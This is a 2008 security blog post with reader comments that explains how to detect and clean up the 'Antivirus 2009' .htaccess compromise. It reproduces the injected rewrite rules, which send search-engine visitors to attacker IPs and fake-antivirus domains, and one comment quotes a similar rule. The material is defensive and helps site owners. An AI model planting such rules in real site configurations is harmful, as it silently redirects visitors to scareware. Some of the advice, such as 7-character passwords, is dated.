msgbartop
Unmask Parasites - Check your web pages for hidden links, iframes, malicious scripts, unauthorized redirects and other signs of security problems.
msgbarbottom
Loading site search ...

Bogus Antivirus 2009 .htaccess Exploit.

   05 Dec 08   Filed in Website exploits

antivirus 2009 .htacces exploit

Let’s start with the most “popular” exploit of the last week.

I’ve seen dozens of messages all over the web (WordPress forums, BadwareBusters.org, StopBadware discussion group, etc) regarding compromised web sites and why Google blocked them. When I checked them with Unmask Parasites, their reports looked pretty much the same: no title and a chain of four redirects. All those sites were hit by the bogus Antivirus 2009 .htaccess exploit.

Symptoms

  1. Abrupt decrease of search engine traffic. Almost to zero. – always
  2. People complain that when they visit your site, it says their computer is infected with spyware and forces them to install Antivirus 2009, but when you open the site yourself, you don’t see anything suspicious. - if your site visitors care enough to complain
  3. Warnings in google search results that visiting your site may harm a computer. – only if Google has already detected the exploit. This may be a sign of some other exploit as well.
  4. Firefox 3 and Google Chrome browsers wouldn’t let anyone visit your site and warn web surfers that your site is an “attack site”. – only if Google (Firefox uses Google’s base) has already detected the exploit. This may be a sign of some other exploit as well.

How to detect?

The easiest and safest way to detect this exploit is to use Unmask Parasites. Just enter the site address and click “Check”. Your site is infected if the report contains this chain of four redirects:

302 -> http://89.28.13.204/in.html?s=xx
302 -> http://wwwinfoclick.com/soft.php?aid=0865&d=1&product=XPA&refer=ff94bbac7
302 -> http://defense-live-scan.com/2009/1/freescan.php?nu=880865
302 -> http://defense-live-scan.com/2009/1/en/freescan.php?id=880865

The domain names and IP addresses may vary but the pattern will be the same:

  1. The first redirect goes to an IP address (89.28.13.20x, 87.248.180.90, maseo .ru/ h.php)
  2. The second redirect goes to soft.php script on some domain (wwwinfoclick.com, privatewebsphere.com, clicksoverview.com, proweb-info.com, etc.)
  3. The third and fourth redirects go to freescan.php scripts on the same site (defense-live-scan.com, antivirus-protectionscan.com, antivirusdefense.com, computerquickscanner .com, pro-scanner-online .com, antivirus-bestscan.com, pcantivirusscan.com, anti-virus-live-scanner.com, etc) and there is “2009″ in the path.

Alternatively, you can search for your site on major search engines and click the search results. I don’t suggest that you do it in IE with JavaScript turned on though…

How to clean up?

  1. In the root of your web server, find the .htaccess file. It’s a hidden file so you might need to configure your FTP client to show hidden files.
  2. Open this file and locate the following code:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
    RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC]
    RewriteRule .* http://87.248.180.90/in.html?s=ipw2 [R,L]

    The IP address may be slightly different and there may be a couple screens of blank lines before this code and you’ll need to scroll down to find it.
  3. Delete this code.
  4. Don’t delete .htaccess if you don’t have any other code in this file or symply don’t need this file. Just leave an empty file.
  5. Assign this file “644″ permissions (everyone can read but only the owner can write) so that no one else could modify this file.
    If you have a command line access use the following command: chmod 644 .htaccess
    If you only have FTP access, check your FTP client’s documentation on how to change file permissions. (All decent FTP clients have this feature).

How to prevent re-infection?

Well, I still don’t know how all those site got infected. All I can suggest is common sense measures:

  1. Make sure your own computer is virus- and spyware-free. The most common function of trojans is stealing passwords.
  2. Use SFTP instead of FTP if possible. While FTP sends all data (including passwords) in clear text, SFTP encrypts everything making it almost impossible to intercept critical data.
  3. Change FTP and other passwords you use on the compromised web server. The new passwords should be strong (at least 7 characters long) and hard to guess.
  4. Scan your web server directories for suspicious files. Hackers could have left backdoor scripts.
  5. Make sure only you can create/modify files on server. Directories should have 755 permissions and files 644 permissions. Such permissions will prevent hackers from modifying your server files via security holes in web scripts. If you don’t use .htaccess file, just create an empty read-only file (644) – don’t give hackers a chance to create it for you.
  6. Contact your hosting provider and ask them to investinate the issue. Ideally you do it before modifying the .htaccess file, so that they can find traces left by hackers.

If you have anything to add about this exploit, please share your information in comments below or contact me directly.

In the next post I’m going to talk about how this exploit work and what hackers want to achieve with it. Stay tuned.

Update: Sometimes .htaccess file with malicious redirect rules can be found above the public_html directory (the root directory of your web site). Don’t forget to change your passwords.

Similar posts:

Subscribe to update notifications:
Email RSS Twitter

Reader's Comments (22)

  1. |

    Thanks for this, really helpful for me.

  2. |

    Thanks alot for all the breakdown. I have been working with this exploit for a couple of months. I am really interested in how all of these .htaccess files are being implemented onto the server.

    • |

      Hi James,

      I don’t have access to compromised websites. All I know comes from web masters who contacted me. Unfortunately they didn’t have enough time/skills to investigate the issue. None of them could answer my questions about file permissions and modification dates.

      I heard many explanations but none of them sound 100% trustworthy to me.

      Niels thinks a remote file inclusion vulnerability of web applications is to blame. However I saw this exploit on pure HTML sites (html files and images in a single directory)

      Most other suppositions say that FTP was used (not HTTP). The explanation from your blog post sounds convincing. But I still have doubts. I talked to a web master who worked on a Mac an was pretty positive his computer couldn’t be infected.

      The funniest explanation I saw was in this BadwareBusters conversation: a hoster said that Google is to blame (it’s allegedly hacked Webmaster Central).

      Another interesting discussion. The .htaccess file with malicious redirects can be placed above the public_html directory, so most likely it was really done by F T P.

      Denis

      • |

        I do have a windows 2003 server that received an .htaccess files once or twice a week, because all the file a read-only, nothing happens except the paste of the .htaccess file. If read-only is not activated on files, some js a write into the file.

  3. |

    Hey,

    That was really really useful! My site was compromised and I didnt even know it until Google contacted me!

    I have always used Roboform to store all my passwords! Maybe I gotta start being more careful about it!

    Thanks a gazillion!

  4. |

    We’ve seen this type of attack here at work as well. Please see my comment (once moderated) on http://blog.unmaskparasites.com/2009/01/14/gogo2me-hidden-iframe-injection/
    the root cause is the same, hijacked ftp accounts.

  5. |

    Thanks for the great information. It took me some time to locate. Our software did not show the hidden folders, I use Filezilla to locate .htaccess. Forgot what you had said about very bottom of the page finally scrolled down to locate text.

  6. |

    I needed a little help accessing my .htaccess file on Dreamhost, but I used SSH to login and had to scroll down to the bottom of the file (very clever) to see the code they added.

    I followed your instructions the rest of the way and have to say thank you, it did the trick. I hope everyone finds this resource.

  7. |

    Thanks for this post. A friend of mine pointed me to it after he was unable to get to my website via Google. I found that my site had exactly the same symptoms as you describe.

    Further to everything that you suggest above, I would urge readers to get their ISP to appraise their password storage, and to enable monitoring of .htaccess files for updates and for the inclusion of such code.

    FWIW, My site is mostly PHP and has a Wiki in a password-protected area. FTP access is enabled. I can’t speak for the various utilities that my provider might have enabled. I was not happy to realize that they had the extremely powerful Rewrite Engine enabled via .htaccess, this is not something I’ve ever done with servers I’ve administered. Also, my provider limits passwords to 8 alphanumeric characters and clearly stores them in clear text somewhere because when I changed my p/w today they emailed me the new one. 8(

    Curiously, I’d note that traffic to my site did *not* fall to zero at any point. I cannot determine when my site was compromised, but whoever did this had updated the bad .htaccess file as recently as three hours prior to my investigation. I would consider this an active campaign rather than someone simply casting a very wide net one time.

    Thanks again for your help.

  8. |

    On my server, the hackers are uploading a script called m.php and two files called ht and htt. m.php has the following code:

    The ht files become .htaccess and are usually between 412 and 437 bytes. These files redirect maliciously.

  9. |

    Wow this really helped me! Thanks. I’m a Webmaster but not that expert.

    Thanks a million.

  10. |

    This article is very helpful. How much protection do the 755 and 644 permissions provide? Will they singlehandedly protect my website from hackers, trojans, and viruses? If so, why has no one told me about them sooner? I like that I can use google to search for my website and see if it has been infected with a trojan, by whether or not the search engine allows access to it. I am glad that the number one search engine in the country is so trustworthy.

  11. |

    what is SFTP ? plz let me know

  12. |

    [...] http://blog.unmaskparasites.com/2008/12/05/bogus-antivirus-2009-htaccess-exploit/ [...]

  13. |

    This has been driving me mad the last couple of weeks. My site has a .htaccess file that is continually modified with the redirects. I tried creating a blank version AND chmod thye file to READ ONLY access but this did not work. I have now changed the passwords to the site. Is this problem coming from my local machine and being passed to the web server or is the problem at the web server/hosting end ?

    • |

      Apperantly, read-only permissions won’t work since in most cases this sort of hacks are done using stolen FTP credentials.

      You need to scan your computer for malware and then change all site password. And don’t save your new passwords in FTP clients. If possible, switch to SFTP from FTP.

  14. |

    Thanks for the write-up. Christmas morning, and my gift.. A website being redirected. A combination of things brought me to your blog, so I wanted to say thanks.

  15. |

    This mornig I discoverred this .htaccess file under all sub-directories of the Linux Server:

    RewriteEngine On
    RewriteCond %{HTTP_REFERER} ^http://
    RewriteCond %{HTTP_REFERER} !%{HTTP_HOST} RewriteRule . hxxp://g-oogl-e.com/%{REMOTE_ADDR}

    Who is the author?